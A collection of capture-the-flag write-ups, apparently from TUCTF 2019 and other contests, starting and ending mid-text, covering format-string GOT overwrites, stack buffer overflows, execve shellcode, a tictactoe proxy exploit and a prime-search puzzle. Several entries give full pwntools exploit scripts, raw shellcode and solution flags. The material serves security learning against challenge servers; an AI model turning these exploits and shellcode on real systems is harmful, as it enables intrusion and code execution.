/usr/lib/i386-linux-gnu/ld-2.30.so0xf7ffc000 0xf7ffd000 0x00028000 r-- /usr/lib/i386-linux-gnu/ld-2.30.so0xf7ffd000 0xf7ffe000 0x00029000 rw- /usr/lib/i386-linux-gnu/ld-2.30.so0xfffdd000 0xffffe000 0x00000000 rw- [stack]```
So we can see that `17` spots after our input, is the libc address `0xf7debfb9`, which is `0x1efb9` bytes ahead of the libc base address. This means that at spot `17 + 6 = 23`, we should get a libc infoleak:
```$ ./vulnmathWelcome to VulnMathWhere your wildest shells can come true
What is 4 * 7?> %23$xIncorrect!f7ddafb9
What is 17 * 4?```
With that, we know the address space of the libc. Proceeding that, we can just write the libc address of `system` (offset of `0x458b0` from the start of libc) over to got address of `atoi`. Now `system` takes a single argument, which is a char pointer. In the context of this code `atoi` is called once which it's argument is a pointer to our input:
``` local_28 = atoi((char *)&local_48);```
This is perfect, since it will allow us to call `system("/bin/sh")`, and it won't crash the program before then. After that, we just construct the format string for the got write, which is pretty similar to the ones that are in the writeups linked above. The only real difference is since we are writing a libc address which changes every time we run the binary, we have to calculate the libc `system` address then use that to figure out exactly what value we will write.
## Exploit
Here is the code for our exploit:
```from pwn import *
target = remote("chal.tuctf.com", 30502)
#target = process("./vulnmath", env={"LD_PRELOAD":"./libc.so.6"})#gdb.attach(target, gdbscript = 'b *0x8049447')libc = ELF("./libc.so.6")
# Leak the libc address, calculate libc base and system addressleakPayload = "%23$x"
target.sendline(leakPayload)
print target.recvuntil("> Incorrect!\n")
leak = target.recvline()
leak = int("0x" + leak, 16)
libcBase = leak - 0x1efb9system = libcBase + libc.symbols["system"]
print "libc base is: " + hex(libcBase)print "system is: " + hex(system)
# Calculate values we will write for got overwritefirstWrite = (system & 0xffff) - 0x8secondWrite = ((system & 0xffff0000) >> 16) - firstWrite - 8
# Make the payload for the got address of atoifmtString = p32(0x804c038) + p32(0x804c03a) + '%' + str(firstWrite)+ 'x' + '%6$n' + '%' + str(secondWrite) + 'x%7$n'
# Send the format string, execute the got overwritetarget.sendline(fmtString)
# Send /bin/sh for argument to systemtarget.sendline('/bin/sh\x00')
# Get shelltarget.interactive()```
When we run it:
```$ python exploit.py[+] Opening connection to chal.tuctf.com on port 30502: Done[*] '/home/guyinatuxedo/Desktop/tuctf/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledWelcome to VulnMathWhere your wildest shells can come true
What is 19 * 9?> Incorrect!
libc base is: 0xf7d67000system is: 0xf7dac8b0[*] Switching to interactive mode
What is 17 * 3?> Incorrect!8:
. . .
What is 6 * 18?> $ w 06:07:41 up 7:50, 0 users, load average: 0.09, 0.20, 0.28USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT$ lsflag.txtvulnmath$ cat flag.txtTUCTF{I_w45_w4rn3d_4b0u7_pr1n7f..._bu7_I_d1dn'7_l1573n}```
Just like that we got the flag! |
```from pwn import *
host = 'chal.tuctf.com'port = 30506
p = remote(host, port)p.recvuntil('Shellcode... Can you say shellcode?\n')add = int(p.recv().strip()[:10], 16)a ="\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"a +="\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"a += 'a'*(40-21)a += p32(add) p.sendline(a)p.interactive()``` |
My messy gdb-peda script :(, but hey it works! idk why it doesn't work with plain gdb, please comment if anyone has an idea!
PS, This script is not the correct way to solve the challenge as it takes approx half an hour or more to process all the binaries, I just wanted to share it :P
```pythonflag = ""i=1for x in range(1,1000): gdb.execute('set python print-stack full') gdb.execute('set confirm off') gdb.execute('file {:03}.c.out'.format(x)) gdb.execute('b *main') gdb.execute('run < test') gdb.execute('record') gdb.execute('fin') gdb.execute('reverse-step') ret_addr = str(gdb.parse_and_eval('$eip')).split()[0] cmp_addr = str(hex(int(ret_addr,16)-67)) print(ret_addr) print("CMP : "+ cmp_addr) gdb.execute('b *'+ cmp_addr) gdb.execute('run < test') gdb.execute('c') flag += chr(int(str(gdb.parse_and_eval('$eax')),16)) print("FLAG : "+flag) gdb.execute('del {}-{}'.format(i,i+1)) i+=2```
Run it with gdb as : `gdb -x pedascript.py`
Please note that I used **record** instruction to get the address of `ret` in main and then calculated the offset of `cmp al,dl` from the bottom as there are unnecessary chars declared in some binaries which makes the task difficult as offset changes and we cant simply use the same **break \*main+x** (where x is a constant for all) for others too. And I subtracted the difference between the position of `cmp` and `ret` which remains constant ie. 67. And we keep on concatenating our flag and display it at the same time, perfect!
GDB is a tool with hidden capabilities. To me the concept of Process Records was completely new and I'll spend more time to master it.
Refer to its wiki for more juicy stuff [here](https://sourceware.org/gdb/wiki/ProcessRecord/Tutorial) Also I know It can be done without using process records but whats the fun in that XD
By [@MrT4ntr4](http://twitter.com/MrT4ntr4)
|
# faker // Writeup
## Problem
*One of these things is not like the other. Can you uncover the flag ?*
## Solution
Use gdb on faker, `info functions` and you will see `thisone`. Go to that function and get the flag.
**FLAG**: `TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}` |
# Tuctf 2019 pwn / re
This writeup contains two seperate writeups for `runme`, and `thefirst`. If you want to learn more about binary exploitation / reverse engineering, checkout `https://github.com/guyinatuxedo/nightmare`.
## runme
We just have to run this one:
```$ ./runme Enter 'flag'> flagTUCTF{7h4nk5_f0r_c0mp371n6._H4v3_fun,_4nd_600d_luck}```
## thefirst
This is a pretty simple buffer overflow challenge. Checkout `https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction` for more details than what's below.
Start off, this is the binary:
```$ pwn checksec thefirst [*] '/home/guyinatuxedo/Desktop/restuctf/thefirst' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)$ file thefirst thefirst: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d5cdb22c21ed1fe37f1d5d30ba2ddb7c03e34e9a, for GNU/Linux 3.2.0, not stripped$ ./thefirst Let's see what you can do> 0000000000000000000000000000000000000000000000000000000Segmentation fault (core dumped)```
Looks like it has a buffer overflow. Checking the main function in ghidra confirms it uses `gets`:
```/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(void)
{ char vulnBuf [16]; setvbuf(stdout,(char *)0x0,2,0x14); setvbuf(stdin,(char *)0x0,2,0x14); printf("Let\'s see what you can do\n> "); gets(vulnBuf); return 0;}```
Take a quick look in gdb to see what the offset is from the start of our input to the return address:
```gef➤ b *0x804927bBreakpoint 1 at 0x804927bgef➤ rStarting program: /home/guyinatuxedo/Desktop/restuctf/thefirst Let's see what you can do> 15935728
Breakpoint 1, 0x0804927b in main ()[ Legend: Modified register | Code | Heap | Stack | String ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd004 → "15935728"$ebx : 0x0804c000 → 0x0804bf0c → 0x00000001$ecx : 0xf7fb05c0 → 0xfbad208b$edx : 0xf7fb201c → 0x00000000$esp : 0xffffd000 → 0xffffd004 → "15935728"$ebp : 0xffffd018 → 0x00000000$esi : 0xf7fb0000 → 0x001dbd6c$edi : 0xf7fb0000 → 0x001dbd6c$eip : 0x0804927b → <main+92> add esp, 0x4$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0xffffd000│+0x0000: 0xffffd004 → "15935728" ← $esp0xffffd004│+0x0004: "15935728"0xffffd008│+0x0008: "5728"0xffffd00c│+0x000c: 0x000000000xffffd010│+0x0010: 0xf7fb0000 → 0x001dbd6c0xffffd014│+0x0014: 0x000000000xffffd018│+0x0018: 0x00000000 ← $ebp0xffffd01c│+0x001c: 0xf7df2751 → <__libc_start_main+241> add esp, 0x10────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8049272 <main+83> lea eax, [ebp-0x14] 0x8049275 <main+86> push eax 0x8049276 <main+87> call 0x80490a0 <gets@plt> → 0x804927b <main+92> add esp, 0x4 0x804927e <main+95> mov eax, 0x0 0x8049283 <main+100> mov ebx, DWORD PTR [ebp-0x4] 0x8049286 <main+103> leave 0x8049287 <main+104> ret 0x8049288 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "thefirst", stopped, reason: BREAKPOINT──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x804927b → main()───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────gef➤ search-pattern 15935728[+] Searching '15935728' in memory[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw- 0xffffd004 - 0xffffd00c → "15935728" gef➤ i fStack level 0, frame at 0xffffd020: eip = 0x804927b in main; saved eip = 0xf7df2751 Arglist at 0xffffcffc, args: Locals at 0xffffcffc, Previous frame's sp is 0xffffd020 Saved registers: ebx at 0xffffd014, ebp at 0xffffd018, eip at 0xffffd01cgef➤ q```
So we can see that the offset is `0xffffd01c - 0xffffd004 = 0x18`. We also see that there is a `printFlag` function at `0x080491f6`:
```void printFlag(void)
{ int iVar1; iVar1 = __x86.get_pc_thunk.ax(); system((char *)(iVar1 + 0xe05)); return;}```
That gives us everything we need to solve this challenge:
```$ python -c 'print "0"*0x18 + "\xf6\x91\x04\x08"'| nc chal.tuctf.com 30508Let's see what you can do> TUCTF{0n3_d0wn..._50_m4ny_70_60}``` |
# Close primes (PPC, 136p, 34 solved)
In the challenge we can connect to the server and it provides us with a task.We're supposed to send 512 bit prime `p` such that with the next prime `q` it will have the property that:
`sqrt(q) - sqrt(p) >= 0.000000000000000000000000000000000000000000000000000000000000000000000000016`
From quick tests we noticed that this difference is larger for smaller primes, so we need to search from the smallest 512 bit primes.It is also, for obvious reasons, larger when the gap between `p` and `q` is large.
We didn't do anything fancy here, we simply run a brute force:
```pythonmp.prec = 1024p = gmpy2.next_prime(2 ** 511)while True: q = gmpy2.next_prime(p) eps = mpf("0.000000000000000000000000000000000000000000000000000000000000000000000000016") if mp.sqrt(q) - mp.sqrt(p) >= eps: print(q - p, eps - (mp.sqrt(q) - mp.sqrt(p))) print(mp.sqrt(q) - mp.sqrt(p)) print(mp.sqrt(q) - mp.sqrt(p) >= eps) print(p) break p = q```
And after a short moment we got back `6703903964971298549787012499102923063739682910296196688861780721860882015036773488400937149083451713845015929093243025426876941405973284973216824506199727`
Sending this value to the server gives us: `ASIS{C4n_y0U_prOv3__Andrica__Conjecture?}` |
Hello. This was an easy challenge... just stack buffer overflow while NX is enabled... also there are some quite awesome functions and `password` in .bss segment, allowing us to call `printFlag(password)` at the end of `pwnme` function when it returns.
first I got the binary I checked a few things:```$ file ./pancakes ./pancakes: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=a653a608db5ab4716ca7b1e891ee3b460e097eb8, for GNU/Linux 3.2.0, not stripped```and also:```$ readelf -l ./pancakes
Elf file type is EXEC (Executable file)Entry point 0x80490c0There are 11 program headers, starting at offset 52
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00160 0x00160 R 0x4 INTERP 0x000194 0x08048194 0x08048194 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x0040c 0x0040c R 0x1000 LOAD 0x001000 0x08049000 0x08049000 0x003f8 0x003f8 R E 0x1000 LOAD 0x002000 0x0804a000 0x0804a000 0x0021c 0x0021c R 0x1000 LOAD 0x002f04 0x0804bf04 0x0804bf04 0x00134 0x0017c RW 0x1000 DYNAMIC 0x002f0c 0x0804bf0c 0x0804bf0c 0x000e8 0x000e8 RW 0x4 NOTE 0x0001a8 0x080481a8 0x080481a8 0x00044 0x00044 R 0x4 GNU_EH_FRAME 0x002048 0x0804a048 0x0804a048 0x00054 0x00054 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 GNU_RELRO 0x002f04 0x0804bf04 0x0804bf04 0x000fc 0x000fc R 0x1
Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt 03 .init .plt .text .fini 04 .rodata .eh_frame_hdr .eh_frame 05 .init_array .fini_array .dynamic .got .got.plt .data .bss 06 .dynamic 07 .note.gnu.build-id .note.ABI-tag 08 .eh_frame_hdr 09 10 .init_array .fini_array .dynamic .got ```so no RWX segment there...
I got to reverse engineer the binary into some pseudo-c:```$ cat pseudo.c #include <stdio.h>#include <stdlib.h>
char password[32]; // 0x804c060
voidreadPassword(){ ebp_0xc = open("...", 0); read(ebp_0xc, gpass, 0x1a); close(ebp_0xc);}
voidprintFlag(char *password){ ebp_0xc = open("...", 0); memset(ebp_0x58, 0, 0x4c);
readPassword();
if (memcmp(password, gpass) == 0) { read(ebp_0xc, ebp_0x58, 0x4b); puts(ebp_0x58); } else { puts("..."); }
close(ebp_0xc);}
voidpwnme(){ printf("...");
read(0, ebp_0x28, 0x40);
printFlag(ebp_0x28);}
intmain(){ setvbuf(...); setvbuf(...);
pwnme();
return 0;}```
so there is the vuln:```read(0, ebp_0x28, 0x40);```
easy stack-based buffer overflow...since I have the address of `printFlag` (binary isn't PIE) and also `password`, I could easily do this:```printFlag(password);```by```ruby -e 'puts "A"*44 + printFlag_addr + "JUNK" + password_addr' | ./pancakes```
just as a habit I actually wrote a script... (isn't CTF for practicing??)```#/usr/bin/env python2
from pwn import *
def exploit(p): padding = "A" * 44 gpass_addr = 0x804c060 printFlag = 0x8049226 main = 0x8049319
payload = padding payload += p32(printFlag) payload += p32(main) payload += p32(gpass_addr)
print(p.recvuntil('>')) p.sendline(payload)
def print_usage(prog): print("Usage:") print("\t%s <local_program>" % prog) print("\t%s <addr> <port>" % prog)
if __name__ == "__main__": import sys
context.update(arch='i386', os='linux')
if len(sys.argv) == 3: p = remote(sys.argv[1], int(sys.argv[2])) elif len(sys.argv) == 2: p = process(sys.argv[1]) else: print_usage(sys.argv[0]) sys.exit(1)
exploit(p) print(p.recv())```
flag : `TUCTF{p4nc4k35_4r3_4b50lu73ly_d3l1c10u5_4nd_y0u_5h0uld_637_50m3_4f73r_7h15}` |
# Tictactoe (shellcode, proxy server)
## EnumerationIn this task we are given two files:
```console$ lstictactoe server.py
$ file tictactoetictactoe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=292bbd6ea3adfb92195a360d1af03ce2757879ba, for GNU/Linux 3.2.0, with debug_info, not stripped```
Before digging into reverse engineering, let's get some basic idea about how the game works by playing it. From the task description we know it is some kind of tictactoe game. Let's connect to the provided host and port.
```console$ nc pwn-tictactoe.ctfz.one 8889Welcome to tictactoe game! Please, enter your name: Ala +---+---+---+ Session: ATuJ5lkz9qgmxinXMIun5JM2WOWHZn6f | | | | | X | | | Player: Ala | 1| 2| 3| |---+---+---| Level: 1/100 | | | | | | | | Rules: You play with 0s. Now it's your turn. | 4| 5| 6| Enter number 1-9 to make your move. |---+---+---| In order to get the flag you need to win | | | | 100 times in a row, buy your enemy is a | | | | really smart AI. Good luck! | 7| 8| 9| +---+---+---+ Enter your move (1-9): 5 +---+---+---+ Session: ATuJ5lkz9qgmxinXMIun5JM2WOWHZn6f | | | | | X | X | | Player: Ala | 1| 2| 3| |---+---+---| Level: 1/100 | | | | | | 0 | | Rules: You play with 0s. Now it's your turn. | 4| 5| 6| Enter number 1-9 to make your move. |---+---+---| In order to get the flag you need to win | | | | 100 times in a row, buy your enemy is a | | | | really smart AI. Good luck! | 7| 8| 9| +---+---+---+ Enter your move (1-9): 3 +---+---+---+ Session: ATuJ5lkz9qgmxinXMIun5JM2WOWHZn6f | | | | | X | X | 0 | Player: Ala | 1| 2| 3| |---+---+---| Level: 1/100 | | | | | | 0 | | Rules: You play with 0s. Now it's your turn. | 4| 5| 6| Enter number 1-9 to make your move. |---+---+---| In order to get the flag you need to win | | | | 100 times in a row, buy your enemy is a | X | | | really smart AI. Good luck! | 7| 8| 9| +---+---+---+ Enter your move (1-9): 4 +---+---+---+ Session: ATuJ5lkz9qgmxinXMIun5JM2WOWHZn6f | | | | | X | X | 0 | Player: Ala | 1| 2| 3| |---+---+---| Level: 1/100 | | | | | 0 | 0 | X | Rules: You play with 0s. Now it's your turn. | 4| 5| 6| Enter number 1-9 to make your move. |---+---+---| In order to get the flag you need to win | | | | 100 times in a row, buy your enemy is a | X | | | really smart AI. Good luck! | 7| 8| 9| +---+---+---+ Enter your move (1-9): 9 +---+---+---+ Session: ATuJ5lkz9qgmxinXMIun5JM2WOWHZn6f | | | | | X | X | 0 | Player: Ala | 1| 2| 3| |---+---+---| Level: 1/100 | | | | | 0 | 0 | X | Rules: You play with 0s. Now it's your turn. | 4| 5| 6| Enter number 1-9 to make your move. |---+---+---| In order to get the flag you need to win | | | | 100 times in a row, buy your enemy is a | X | X | 0 | really smart AI. Good luck! | 7| 8| 9| +---+---+---+ Enter your move (1-9):
It's a lose (or draw may be), start over from first level```
So the game asks a player to provide her/his name and then consecutively asks player for moves. The goal seems to be win with computer 100 times. It seems impossible as computer starts the game, plays quite well and ties are not considered a win. I've tried few times and havne't won even once.
Now let's understand the system architecture. As I've mentioned at the beginning we have two files: server.py and tictactoe. Which file did we connected to? I will spoiler a little bit and show you how the flow of first request looked like.
The tictactoe is a proxy server. Client cannot directly connect to server.py as he doesn't know the ip address of it and it is protected by firewall (or at least should, I haven't tried this attack vector).
Ok, so what's the goal? Should we pwn the tictactoe proxy server or server.py? It becomes obvious when we start reading the source code of server.py:
```pythonif __name__ == '__main__': try: FLAG = os.environ.get('FLAG') except Exception as e: print('[-] Can\'t get flag: {}'.format(e)) exit(0) start_server(HOST, PORT)```
The flag is located in server.py ram. And as the game says the player has to win 100 games in order to get the flag:
```pythonclass TicTacToeServerHandler(socketserver.BaseRequestHandler): sessions = {}
def handle(self): try: data = str(self.request.recv(1), 'ascii') if data[0] == REG_USER: self.process_reg_user() elif data[0] == SEND_STATE: self.process_state() elif data[0] == GET_FLAG: self.process_flag() except Exception as e: print('[-] Error handling messages: {}'.format(e))
def process_reg_user(self): [...]
def process_flag(self): unpacker = struct.Struct('<32s') input_bytes = self.request.recv(32) session = unpacker.unpack(input_bytes) session = str(session[0], 'ascii') if session not in self.sessions: err = ERROR_SESS msg = "You trying to cheat on me!\n" elif self.sessions[session]['level'] < FLAG_COUNT: # check if user won 100 games err = ERROR_SESS msg = "You trying to cheat on me!\n" else: err = ERROR_NO msg = FLAG # if he did, then send back a flag
try: packer = struct.Struct('+++ exited (status 7) +++```
Nice :) The tictactoe needs to get an address of server.py. And it get's it from /etc/hosts file. So just add a new record to your etc/hosts:
```console$ cat vim /etc/hosts[...]127.0.0.1 task2-tictactoe-backend[...]```
Let's try to run the app again:
```console$ ./tictactoe[+] TCP server started as 0.0.0.0:8889
```
Hurray! Now we can connect to our proxy with netcat just as we did before but instead of `pwn-tictactoe.ctfz.one` we specify `127.0.0.1` as host. We can observe the whole flow now, add debug information to server.py file or even run tictactoe server under gdb!
```console$ nc 127.0.0.1 8889Welcome to tictactoe game! Please, enter your name: Ala +---+---+---+ Session: 13UELROHTOlckhdkn266yfhNRRSX620m | | | | | X | | | Player: Ala | 1| 2| 3| |---+---+---| Level: 1/100 | | | | | | | | Rules: You play with 0s. Now it's your turn. | 4| 5| 6| Enter number 1-9 to make your move. |---+---+---| In order to get the flag you need to win | | | | 100 times in a row, buy your enemy is a | | | | really smart AI. Good luck! | 7| 8| 9| +---+---+---+ Enter your move (1-9): ```
And in the server.py tab we can see that the tictactoe propagetad the name to server.py which assigned new session to the user:
```console$ python3 server.py [+] Server started at 127.0.0.1:9998[+] Sending session info: b'01000000313355454c524f48544f6c636b68646b6e3236367966684e525253583632306d' (1, b'13UELROHTOlckhdkn266yfhNRRSX620m')```
## Manual fuzzingNow we can start fuzzing the tictactoe app! Let's start with providing invalid arguments as move:
```console$ nc 127.0.0.1 8889Welcome to tictactoe game! Please, enter your name: Ala
Please, enter only free cell number (1-9):0 +---+---+---+ Session: ovs64oZiQk1b5SGEEObBQ9N1xRhGKa1T | | | | | X | | | Player: Ala | 1| 2| 3| |---+---+---| Level: 1/100 | | | | | | | | Rules: You play with 0s. Now it's your turn. | 4| 5| 6| Enter number 1-9 to make your move. |---+---+---| In order to get the flag you need to win | | | | 100 times in a row, buy your enemy is a | | | | really smart AI. Good luck! | 7| 8| 9| +---+---+---+ Enter your move (1-9): 0
Please, enter only free cell number (1-9):10
Please, enter only free cell number (1-9):0
Please, enter only free cell number (1-9):0
Please, enter only free cell number (1-9):-1
Please, enter only free cell number (1-9):0```
No crashes or output in tictactoe tab. This means that the game performs at least some checks for the moves. I've decided to move on and checked the second input which is username.
```console$ nc 127.0.0.1 8889Welcome to tictactoe game! Please, enter your name: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaah```
And the application hungs up! Let's check the tictactoe tab:
```console$ ./tictactoe [+] TCP server started as 0.0.0.0:8889Segmentation fault (core dumped)
$ dmesg | tail -1[ 1295.699752] traps: tictactoe[3654] general protection ip:4016b3 sp:7fffffffdd78 error:0 in tictactoe[400000+5000]```
We just found the most basic buffer overflow! Moreover we haven't seen "__stack_chk_failed" alert, so the binary perhaps is not well protected.We can confirm that by using checksec command:
```console$ checksec tictactoe[*] './tictactoe' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments```
Even better then we could imagine! Not only there are no stack canaries but also the stack is set to executable and the binary hasn't been compiled as position independend executable!
## Inevestigating buffer overflowThere are so many protections disabled that the buffer overflow might be enought to fully compromise tictactoe application. Let's take a deeper look at the reconstructed part of code responsible for reading user name:
```c// simplified!int get_name(void){ int iVar1; size_t hello_buf_len; char tmp_name [16]; char hello_buff [53]; int recv_session_count; int sent_count; hello_buff = "Welcome to tictactoe game! Please, enter your name: "; memset(tmp_name, 0x0, 16); hello_buf_len = strlen(hello_buff); iVar1 = send_all(psock,hello_buff,(int)hello_buf_len); // [1] if (iVar1 < 0) { close(psock); puts("[-] Error sending hello message in process_game()"); iVar1 = -1; } else { iVar1 = recv_all(psock,tmp_name,0x800); // [2] if (iVar1 < 0) { close(psock); puts("[-] Error receiving name in process_game()"); iVar1 = -1; } else { tmp_name[iVar1 + -1] = '\0'; strcpy(name,tmp_name); // [3] iVar1 = 0; } } return iVar1;}```
Function get_name:- [1] Sends welcome message to user. Notice that we can guess the signature of the send_all function: send_all(int sock, char *buf, size_t count), where count is number of bytes to send.- [2] Reads name provided by user. Similar to send_all, recv_all signature is: int recv_all(int socket, char *buf, size_t count), where count is number of bytes to read. So in this case program reads up to 0x800 bytes into 16 bytes buffer. This is exactly the buffer overflow we found above!- [3] The tmp_name buffer is copied to name, where name is a global variable.
## ExploitAt this point we can try to exploit a proxy server. We control not only return address but also huge stack part (the addresses underneath return address). If we had a libc address we would simply create a ROP. Unfortunetely we haven't leaked anything yet and so our gadgets are limited to the ones found in the tictactoe binary. Moreover the shell might not be enought (more about this later) so I decided I would like to make use of disabled NX protection (when enabled it marks stack, .bss, .data, etc. memory as not executable).
Let's confirm that with vmmap:
```GDBgef➤ vmmapStart End Offset Perm Path0x0000000000400000 0x0000000000405000 0x0000000000000000 r-x /home/k/cz/tictactoe_files/tictactoe0x0000000000405000 0x0000000000406000 0x0000000000005000 rwx /home/k/cz/tictactoe_files/tictactoe0x0000000000406000 0x0000000000427000 0x0000000000000000 rwx [heap]0x00007ffff77d2000 0x00007ffff77dd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libnss_files-2.27.so[...]0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]```
Can you see 'x' bit? When present it means that this memory region is executable. So if for example we find a way to jump to the `tmp_buf` which we control, we could place our malicious shellcode there and it will get executed. But the problem is that in all modern systems ASLR is enabled and we don't know the stack address. So we would need a gadget like: `push rsp; ret;` to change the flow. Unfortunetely I couldn't find such in the binary.
So the next idea that popped into my mind was to jump to `name`. It is a global variable and as binary hasn't been compiled as position independent we know the exact address of it. The only problem is that we cannot use NULL bytes as it is filled with [3] strncpy. Let's check if we are right and just place some nops and observe the execution flow:
`payload = b'\x90' * 88 + p64(e.symbols['name']) + b'\x90' * 100`
```GDB$ gdb ./tictactoegef➤ b *0x4016b3 ; break at ret from get_namegef➤ rBreakpoint 2 at 0x4016b3gef➤ x/1i $rip => 0x4016b3 <get_name+298>: retgef➤ x/8gx $rspx/8gx $rsp0x7fffffffdd28: 0x0000000000405770 0x90909090909090900x7fffffffdd38: 0x9090909090909090 0x90909090909090900x7fffffffdd48: 0x9090909090909090 0x90909090909090900x7fffffffdd58: 0x9090909090909090 0x9090909090909090gef➤ p &name$1 = (char (*)[17]) 0x405770 <name>gef➤ nigef➤ x/100i $rip=> 0x405770 <name>: nop 0x405771 <name+1>: nop [...] 0x4057b7: nop 0x4057b8: rex.WB add al,0x0 0x4057bb: add BYTE PTR [rax],al 0x4057bd: add BYTE PTR [rax],al 0x4057bf: add BYTE PTR [rax],al```
Nice as our _nops_ will get executed. The bad message is that the part after return addres hasn't been copied into the `name` variable. This is because the address of `name` contains NULL byte. This means that we have only 88 bytes and cannot use any NULL bytes in our shellcode. It might be ok if we only need to spawn a shell, but as we have to trick server.py to give us a flag it might not be enought.
Remember the first idea to jump back to the stack underneath the return address? We gave up because we couldn't find a right gadget. But now we can combine the two previous ideas and just use code in `name` buffer as our gadget.
`payload = b'\x54\xc3' + b' ' * 86 + p64(e.symbols['name']) + b'\x48\xb8\x3c...'`
## ShellcodeOk this way we can create a shellcode of length 1952 (0x800 - 88 - 8) with null bytes allowed! Now the question is why duplicating file descriptors and then invoking execve("/bin/sh") is not enought to get a flag? Well in fact it is enought, but we still have to simulate a game as a main server does not fully trust tictactoe app (it keeps the number of levels user owned and current board state in ram and asks client only for computer & human moves). But what we can do is to just send "bad" computer moves. We will simulate 100 times such game:
```Computer: Xs Human: Os+---+---+---+ | | | || X | O | || 1| 2| 3||---+---+---|| | | || | | || 4| 5| 6||---+---+---|| | | || | | || 7| 8| 9|+---+---+---+
+---+---+---+| | | || X | O | || 1| 2| 3||---+---+---|| | | || X | O | || 4| 5| 6||---+---+---|| | | || | | || 7| 8| 9|+---+---+---+
+---+---+---+| | | || X | O | X || 1| 2| 3||---+---+---|| | | || X | O | || 4| 5| 6||---+---+---|| | | || | O | || 7| 8| 9|+---+---+---+```
And I personally find it easier to use already existing in tictactoe app functions for communicating with main server.
## Fake gameSo we need to create a malicious shellcode which will communicate with main server on our behalf.It must first get session by registering user. The app uses:
`int send_reg_user(char *server_ip,char *session)`
function to register user. Both server_ip and session are global variables and therefore we know their addresses. So this part of shellcode can look like:
```asmSERVER_IP_ADDR equ 0x405728SESSION_ADDR equ 0x405740
SEND_REQ_USER_FUNC_ADDR equ 0x402835
section .text global _start
_start:_register_user: mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rax, SEND_REQ_USER_FUNC_ADDR call rax
```
To send moves, the tictactoe uses `int send_state(char *server_ip,char *session,int cmove,int hmove)` function which takes as arguments: server_ip, session and two int variables: cmove, hmove.Then to spoof a game (consists of 3 computer and 3 human moves) we can write such code:
```asmCMOVE1 equ 0 CMOVE2 equ 3CMOVE3 equ 2HMOVE1 equ 1HMOVE2 equ 4HMOVE3 equ 7
SERVER_IP_ADDR equ 0x405728SESSION_ADDR equ 0x405740
SEND_STATE_FUNC_ADDR equ 0x402a74SEND_REQ_USER_FUNC_ADDR equ 0x402835
section .text global _start
_start:_register_user: mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rax, SEND_REQ_USER_FUNC_ADDR call rax
